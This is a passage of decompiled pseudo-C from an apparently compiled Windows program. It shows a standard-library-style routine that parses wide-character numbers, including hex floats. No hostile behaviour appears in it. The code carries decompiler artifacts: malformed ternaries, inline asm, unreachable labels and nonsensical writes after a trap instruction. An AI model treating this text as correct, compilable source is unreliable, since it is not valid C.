							_t830 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
							__eflags = _t830;
							if(_t830 == 0) {
								L150:
								_t483 =  *((intOrPtr*)( *_t898 + 0x38))();
							} else {
								__eflags =  *( *(_t898 + 0x50));
								if( *( *(_t898 + 0x50)) <= 0) {
									goto L150;
								} else {
									_t483 =  *_t830 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L152:
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t950 =  *_t882;
									__eflags = _t950;
									if(_t950 == 0) {
										L162:
										 *_t882 = 0;
									} else {
										_t827 =  *((intOrPtr*)( *((intOrPtr*)(_t950 + 0x38))));
										__eflags = _t827;
										if(_t827 == 0) {
											L159:
											_t424 =  *((intOrPtr*)( *_t950 + 0x38))();
										} else {
											__eflags =  *( *(_t950 + 0x50));
											if( *( *(_t950 + 0x50)) <= 0) {
												goto L159;
											} else {
												_t424 =  *_t827 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L162;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t532 =  *(_t882 + 0xa) & 0x0000ffff;
								_t718 = _t1091;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t718 + 2) & 0x0000ffff;
									_t718 = _t718 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L171;
								}
								_t720 = _t718 -  &_v32 >> 1;
								__eflags = _t720 - 0x15;
								if(_t720 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L130:
											_t946 = _a112;
											 *_t946 =  *((intOrPtr*)(_t720 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t946 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t720;
											if(_t720 != 0) {
												goto L130;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t948 =  *_t882;
									__eflags = _t948;
									if(_t948 == 0) {
										L138:
										 *_t882 = 0;
										_t481 = 1;
									} else {
										_t824 =  *((intOrPtr*)(_t948 + 0x38));
										_t1018 =  *_t824;
										__eflags = _t1018;
										if(_t1018 == 0) {
											L135:
											_t485 =  *((intOrPtr*)( *_t948 + 0x40))();
										} else {
											_t1052 =  *((intOrPtr*)(_t948 + 0x50));
											_t590 =  *_t1052;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L135;
											} else {
												 *_t1052 = _t590 - 1;
												 *_t824 =  &(_t1018[1]);
												_t485 =  *_t1018 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L138;
										} else {
											_t481 = 0;
										}
									}
									 *(_t882 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1092 = _t1080;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L169;
						}
						goto L171;
					}
				} else {
					r13d = 0;
					_a32 = _t1090;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t716;
					} else {
						_t853 =  *_t1079;
						_t424 =  *((intOrPtr*)(_t853 + 0x28))();
						_a88 = _t853;
					}
					_v40 = _t1058;
					_t1084 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t951 =  *_t882;
						_t567 = 0;
						_t592 = 0;
						if(_t951 != 0) {
							_t841 =  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x38))));
							if(_t841 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t951 + 0x38))();
							} else {
								_t495 =  *_t841 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t832 = _a96;
						_t952 =  *_t832;
						if(_t952 != 0) {
							_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
							if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x50)))) <= 0) {
								_t832 =  *_t952;
								_t494 = _t832[0x1c]();
							} else {
								_t494 =  *_t832 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t882 + 8) == 0) {
							_t970 =  *_t882;
							if(_t970 == 0) {
								L236:
								 *_t882 = 0;
							} else {
								_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x38))));
								if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x50)))) <= 0) {
									_t832 =  *_t970;
									_t493 = _t832[0x1c]();
								} else {
									_t493 =  *_t832 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L236;
								} else {
									 *(_t882 + 0xa) = _t493;
								}
							}
							 *(_t882 + 8) = 1;
						}
						_t424 =  *(_t882 + 0xa) & 0x0000ffff;
						_t954 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t954 + 2) & 0x0000ffff;
							_t954 = _t954 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t956 = _t954 -  &_v32 >> 1;
						if(_t956 > 0x15) {
							__eflags = _a72 - 0xf;
							_t958 =  <=  ? _t1084 : _a48;
							__eflags =  *((char*)(_t958 + _t1090));
							if( *((char*)(_t958 + _t1090)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1099 = _a64;
										__eflags = _t1099 - 0xfffffffe;
										if(_t1099 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t832, "string too long", _t1042, _t1058);
											asm("ud2");
											_t1060 = _t832;
											_t837 = _a72;
											__eflags = _t837 - 0x10;
											if(_t837 >= 0x10) {
												_t962 = _a48;
												__eflags = _t837 + 1 - 0x1000;
												if(_t837 + 1 >= 0x1000) {
													_t962 =  *((intOrPtr*)(_t962 - 8));
												}
												_t489 = E00402090(_t489, _t962);
											}
											_t838 = _v56;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t961 = _v80;
												_t838 = _t838 + 1;
												__eflags = _t838 - 0x1000;
												if(_t838 >= 0x1000) {
													_t961 =  *((intOrPtr*)(_t961 - 8));
												}
												_t489 = E00402090(_t489, _t961);
											}
											E0044CEA0(_t489, _t1060);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t838 =  *_t838 + 0x64;
											_t413 = _t838 - 0x6f6f6f70;
											 *_t413 =  *(_t838 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1062);
											return 0x64;
										} else {
											_t1100 = _t1099 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1100);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t967 =  <=  ? _t1084 : _a48;
												 *((char*)(( <=  ? _t1084 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t847 =  <=  ? _t1084 : _a48;
												__eflags = _t847;
												_a64 = _t1100;
												 *((char*)(_t847 + _t1100)) = 0;
											}
											_t1090 = _t1090 + 1;
											goto L208;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L205:
									_t968 = _a112;
									 *_t968 =  *((intOrPtr*)(_t956 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t968 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t956;
									if(_t956 != 0) {
										goto L205;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t850 =  <=  ? _t1084 : _a48;
							_t531 =  *(_t850 + _t1090);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t850 + _t1090) = _t531;
							}
							L208:
							_t964 =  *_t882;
							if(_t964 == 0) {
								L191:
								 *_t882 = 0;
								_t424 = 1;
								 *(_t882 + 8) = 1;
							} else {
								_t843 =  *((intOrPtr*)(_t964 + 0x38));
								_t1027 =  *_t843;
								if(_t1027 == 0) {
									L212:
									_t496 =  *((intOrPtr*)( *_t964 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t964 + 0x50));
									_t593 =  *_t1042;
									if(_t593 <= 0) {
										goto L212;
									} else {
										 *_t1042 = _t593 - 1;
										_t183 =  &(_t1027[1]); // 0x3
										 *_t843 = _t183;
										_t496 =  *_t1027 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L191;
								} else {
									_t424 = 0;
									 *(_t882 + 8) = 0;
								}
							}
							continue;
						}
						goto L530;
					}
					__eflags = _t1090;
					if(_t1090 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L256;
					} else {
						__eflags = _a72 - 0xf;
						_t836 =  <=  ? _t1084 : _a48;
						_t553 =  *((intOrPtr*)(_t836 + _t1090));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L256:
							_t833 = _a72;
						} else {
							_t424 = _t547;
							_t1094 = _t1090 + _t836;
							__eflags = _t1094;
							if(_t1094 == 0) {
								goto L256;
							} else {
								_t833 = _a72;
								__eflags = _t833 - 0xf;
								_t1085 =  >  ? _a48 : _t1084;
								_t1053 = _v40;
								while(1) {
									_t548 =  *_t1053 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1094 - 1;
									_t554 =  *(_t1085 + _t1094 - 1) & 0x000000ff;
									if(_t1094 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L379;
										} else {
											goto L251;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L251:
											_t1094 = _t1094 - 1;
											__eflags =  *(_t1053 + 1);
											if( *(_t1053 + 1) > 0) {
												_t1053 = _t1053 + 1;
												__eflags = _t1053;
											}
											__eflags = _t1094;
											if(_t1094 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L379:
											sil = 1;
										}
									}
									goto L257;
								}
								_t592 = 0;
							}
						}
					}
					L257:
					__eflags = _t833 - 0x10;
					_t1092 = _a32;
					r12d = _a84;
					if(_t833 >= 0x10) {
						_t953 = _a48;
						__eflags = _t833 + 1 - 0x1000;
						if(_t833 + 1 >= 0x1000) {
							_t953 =  *((intOrPtr*)(_t953 - 8));
						}
						_t424 = E00402090(_t424, _t953);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L169:
						__eflags = r13d;
						if(r13d == 0) {
							_t819 = _a112;
							 *_t819 = 0x30;
							_t820 = _t819 + 1;
							__eflags = _t820;
							_a112 = _t820;
						}
						goto L171;
					} else {
						L171:
						_t900 =  *_t882;
						_t570 = 0;
						__eflags = _t900;
						_t561 = 0;
						r15d = r12d;
						if(_t900 != 0) {
							_t817 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t817;
							if(_t817 == 0) {
								L175:
								_t479 =  *((intOrPtr*)( *_t900 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L175;
								} else {
									_t479 =  *_t817 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t901 =  *_a96;
						__eflags = _t901;
						if(_t901 != 0) {
							_t814 =  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x38))));
							__eflags = _t814;
							if(_t814 == 0) {
								L181:
								_t478 =  *((intOrPtr*)( *_t901 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t901 + 0x50));
								if( *( *(_t901 + 0x50)) <= 0) {
									goto L181;
								} else {
									_t478 =  *_t814 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L274:
							__eflags = r13d;
							if(r13d == 0) {
								goto L284;
							}
						} else {
							__eflags =  *(_t882 + 8);
							_t1050 = _v48;
							if( *(_t882 + 8) == 0) {
								_t944 =  *_t882;
								__eflags = _t944;
								if(_t944 == 0) {
									L266:
									 *_t882 = 0;
								} else {
									_t811 =  *((intOrPtr*)( *((intOrPtr*)(_t944 + 0x38))));
									__eflags = _t811;
									if(_t811 == 0) {
										L263:
										_t477 =  *((intOrPtr*)( *_t944 + 0x38))();
									} else {
										__eflags =  *( *(_t944 + 0x50));
										if( *( *(_t944 + 0x50)) <= 0) {
											goto L263;
										} else {
											_t477 =  *_t811 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L266;
									} else {
										 *(_t882 + 0xa) = _t477;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t806 =  *_t1050;
							_t424 =  *((intOrPtr*)(_t806 + 0x20))();
							__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t882 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L274;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t806));
								_t942 =  *_t882;
								__eflags = _t942;
								r12d = r15d;
								if(_t942 == 0) {
									L279:
									 *_t882 = 0;
									_t424 = 1;
								} else {
									_t808 =  *((intOrPtr*)(_t942 + 0x38));
									_t1014 =  *_t808;
									__eflags = _t1014;
									if(_t1014 == 0) {
										L276:
										_t475 =  *((intOrPtr*)( *_t942 + 0x40))();
										r12d = r15d;
									} else {
										_t1051 =  *((intOrPtr*)(_t942 + 0x50));
										_t588 =  *_t1051;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L276;
										} else {
											 *_t1051 = _t588 - 1;
											 *_t808 =  &(_t1014[1]);
											_t475 =  *_t1014 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L279;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t882 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L284:
										_t935 =  *_t882;
										_t584 = 0;
										__eflags = _t935;
										_t566 = 0;
										if(_t935 == 0) {
											goto L290;
										}
										_t796 =  *((intOrPtr*)( *((intOrPtr*)(_t935 + 0x38))));
										__eflags = _t796;
										if(_t796 == 0) {
											L288:
											_t470 =  *((intOrPtr*)( *_t935 + 0x38))();
										} else {
											__eflags =  *( *(_t935 + 0x50));
											if( *( *(_t935 + 0x50)) <= 0) {
												goto L288;
											} else {
												_t470 =  *_t796 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L290:
										_t936 =  *_a96;
										__eflags = _t936;
										if(_t936 != 0) {
											_t804 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
											__eflags = _t804;
											if(_t804 == 0) {
												L294:
												_t469 =  *((intOrPtr*)( *_t936 + 0x38))();
											} else {
												__eflags =  *( *(_t936 + 0x50));
												if( *( *(_t936 + 0x50)) <= 0) {
													goto L294;
												} else {
													_t469 =  *_t804 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t939 =  *_t882;
												__eflags = _t939;
												if(_t939 == 0) {
													L305:
													 *_t882 = 0;
												} else {
													_t801 =  *((intOrPtr*)( *((intOrPtr*)(_t939 + 0x38))));
													__eflags = _t801;
													if(_t801 == 0) {
														L302:
														_t468 =  *((intOrPtr*)( *_t939 + 0x38))();
													} else {
														__eflags =  *( *(_t939 + 0x50));
														if( *( *(_t939 + 0x50)) <= 0) {
															goto L302;
														} else {
															_t468 =  *_t801 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L305;
													} else {
														 *(_t882 + 0xa) = _t468;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t424 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
												_t937 =  *_t882;
												__eflags = _t937;
												if(_t937 == 0) {
													L315:
													 *_t882 = 0;
													_t467 = 1;
													goto L282;
												} else {
													_t798 =  *((intOrPtr*)(_t937 + 0x38));
													_t1010 =  *_t798;
													__eflags = _t1010;
													if(_t1010 == 0) {
														L312:
														_t471 =  *((intOrPtr*)( *_t937 + 0x40))();
													} else {
														_t1049 =  *((intOrPtr*)(_t937 + 0x50));
														_t585 =  *_t1049;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L312;
														} else {
															 *_t1049 = _t585 - 1;
															 *_t798 =  &(_t1010[1]);
															_t471 =  *_t1010 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L315;
													} else {
														_t467 = 0;
														L282:
														 *(_t882 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t793 = _a112;
											 *_t793 = 0x30;
											_a112 = _t793 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L319;
									}
								}
							}
						}
						L319:
						_t1081 =  &_v34;
						while(1) {
							L332:
							_t902 =  *_t882;
							_t571 = 0;
							__eflags = _t902;
							_t562 = 0;
							if(_t902 == 0) {
								goto L338;
							}
							_t782 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t782;
							if(_t782 == 0) {
								L336:
								_t466 =  *((intOrPtr*)( *_t902 + 0x38))();
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L336;
								} else {
									_t466 =  *_t782 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L338:
							_t903 =  *_a96;
							__eflags = _t903;
							if(_t903 != 0) {
								_t790 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
								__eflags = _t790;
								if(_t790 == 0) {
									L342:
									_t465 =  *((intOrPtr*)( *_t903 + 0x38))();
								} else {
									__eflags =  *( *(_t903 + 0x50));
									if( *( *(_t903 + 0x50)) <= 0) {
										goto L342;
									} else {
										_t465 =  *_t790 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t934 =  *_t882;
									__eflags = _t934;
									if(_t934 == 0) {
										L353:
										 *_t882 = 0;
									} else {
										_t787 =  *((intOrPtr*)( *((intOrPtr*)(_t934 + 0x38))));
										__eflags = _t787;
										if(_t787 == 0) {
											L350:
											_t424 =  *((intOrPtr*)( *_t934 + 0x38))();
										} else {
											__eflags =  *( *(_t934 + 0x50));
											if( *( *(_t934 + 0x50)) <= 0) {
												goto L350;
											} else {
												_t424 =  *_t787 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L353;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t541 =  *(_t882 + 0xa) & 0x0000ffff;
								_t778 = _t1081;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t778 + 2) & 0x0000ffff;
									_t778 = _t778 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L515:
									__eflags = r10b & 0x00000001;
									_t1072 =  ==  ? _t1092 : _t1071;
									__eflags = _a88;
									_t1073 =  !=  ? _t1092 :  ==  ? _t1092 : _t1071;
									 *((char*)( !=  ? _t1092 :  ==  ? _t1092 : _t1071)) = 0;
									 *_a232 = r9d;
									_t725 = _v56;
									__eflags = _t725 - 0x10;
									if(_t725 >= 0x10) {
										_t906 = _v80;
										__eflags = _t725 + 1 - 0x1000;
										if(_t725 + 1 >= 0x1000) {
											_t906 =  *((intOrPtr*)(_t906 - 8));
										}
										E00402090(_t424, _t906);
									}
									__eflags = 0;
									return 0;
									goto L530;
								}
								_t780 = _t778 -  &_v32 >> 1;
								__eflags = _t780 - 0x15;
								if(_t780 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t932 = _a112;
										 *_t932 =  *((intOrPtr*)(_t780 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t932 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t929 =  *_t882;
									__eflags = _t929;
									if(_t929 == 0) {
										L330:
										 *_t882 = 0;
										_t461 = 1;
									} else {
										_t784 =  *((intOrPtr*)(_t929 + 0x38));
										_t1006 =  *_t784;
										__eflags = _t1006;
										if(_t1006 == 0) {
											L327:
											_t462 =  *((intOrPtr*)( *_t929 + 0x40))();
										} else {
											_t1048 =  *((intOrPtr*)(_t929 + 0x50));
											_t582 =  *_t1048;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L327;
											} else {
												 *_t1048 = _t582 - 1;
												 *_t784 =  &(_t1006[1]);
												_t462 =  *_t1006 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L330;
										} else {
											_t461 = 0;
										}
									}
									 *(_t882 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t904 =  *_t882;
								_t572 = 0;
								__eflags = _t904;
								_t563 = 0;
								_t1071 = _a112;
								r9d = r15d;
								if(_t904 != 0) {
									_t776 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
									__eflags = _t776;
									if(_t776 == 0) {
										L365:
										_t460 =  *((intOrPtr*)( *_t904 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t904 + 0x50));
										if( *( *(_t904 + 0x50)) <= 0) {
											goto L365;
										} else {
											_t460 =  *_t776 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t905 =  *_a96;
								__eflags = _t905;
								if(_t905 != 0) {
									_t773 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
									__eflags = _t773;
									if(_t773 == 0) {
										L371:
										_t459 =  *((intOrPtr*)( *_t905 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t905 + 0x50));
										if( *( *(_t905 + 0x50)) <= 0) {
											goto L371;
										} else {
											_t459 =  *_t773 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t882 + 8);
									if( *(_t882 + 8) == 0) {
										_t927 =  *_t882;
										__eflags = _t927;
										if(_t927 == 0) {
											L383:
											 *_t882 = 0;
										} else {
											_t770 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
											__eflags = _t770;
											if(_t770 == 0) {
												L380:
												_t458 =  *((intOrPtr*)( *_t927 + 0x38))();
												_t1071 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t927 + 0x50));
												if( *( *(_t927 + 0x50)) <= 0) {
													goto L380;
												} else {
													_t458 =  *_t770 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L383;
											} else {
												 *(_t882 + 0xa) = _t458;
											}
										}
										 *(_t882 + 8) = 1;
									}
									_t424 =  *(_t882 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L387:
										 *_t1071 = 0x70;
										_t907 =  *_t882;
										__eflags = _t907;
										if(_t907 == 0) {
											L397:
											 *_t882 = 0;
											 *(_t882 + 8) = 1;
											goto L398;
										} else {
											_t764 =  *((intOrPtr*)(_t907 + 0x38));
											_t1001 =  *_t764;
											__eflags = _t1001;
											if(_t1001 == 0) {
												L391:
												_t454 =  *((intOrPtr*)( *_t907 + 0x40))();
												_t1071 = _a112;
											} else {
												_t1047 =  *((intOrPtr*)(_t907 + 0x50));
												_t580 =  *_t1047;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L391;
												} else {
													 *_t1047 = _t580 - 1;
													 *_t764 =  &(_t1001[1]);
													_t454 =  *_t1001 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L397;
											} else {
												_t925 =  *_t882;
												 *(_t882 + 8) = 0;
												__eflags = _t925;
												if(_t925 == 0) {
													L398:
													_t573 = 0;
												} else {
													_t767 =  *((intOrPtr*)( *((intOrPtr*)(_t925 + 0x38))));
													__eflags = _t767;
													if(_t767 == 0) {
														L399:
														_t456 =  *((intOrPtr*)( *_t925 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t925 + 0x50));
														if( *( *(_t925 + 0x50)) <= 0) {
															goto L399;
														} else {
															_t456 =  *_t767 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t908 =  *_a96;
										__eflags = _t908;
										if(_t908 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t762 =  *((intOrPtr*)( *((intOrPtr*)(_t908 + 0x38))));
											__eflags = _t762;
											if(_t762 == 0) {
												L405:
												_t452 =  *((intOrPtr*)( *_t908 + 0x38))();
												_t1071 = _a112;
											} else {
												__eflags =  *( *(_t908 + 0x50));
												if( *( *(_t908 + 0x50)) <= 0) {
													goto L405;
												} else {
													_t452 =  *_t762 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1083 = _t1071 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t924 =  *_t882;
												__eflags = _t924;
												if(_t924 == 0) {
													L417:
													 *_t882 = 0;
												} else {
													_t759 =  *((intOrPtr*)( *((intOrPtr*)(_t924 + 0x38))));
													__eflags = _t759;
													if(_t759 == 0) {
														L414:
														_t451 =  *((intOrPtr*)( *_t924 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t924 + 0x50));
														if( *( *(_t924 + 0x50)) <= 0) {
															goto L414;
														} else {
															_t451 =  *_t759 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L417;
													} else {
														 *(_t882 + 0xa) = _t451;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t447 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
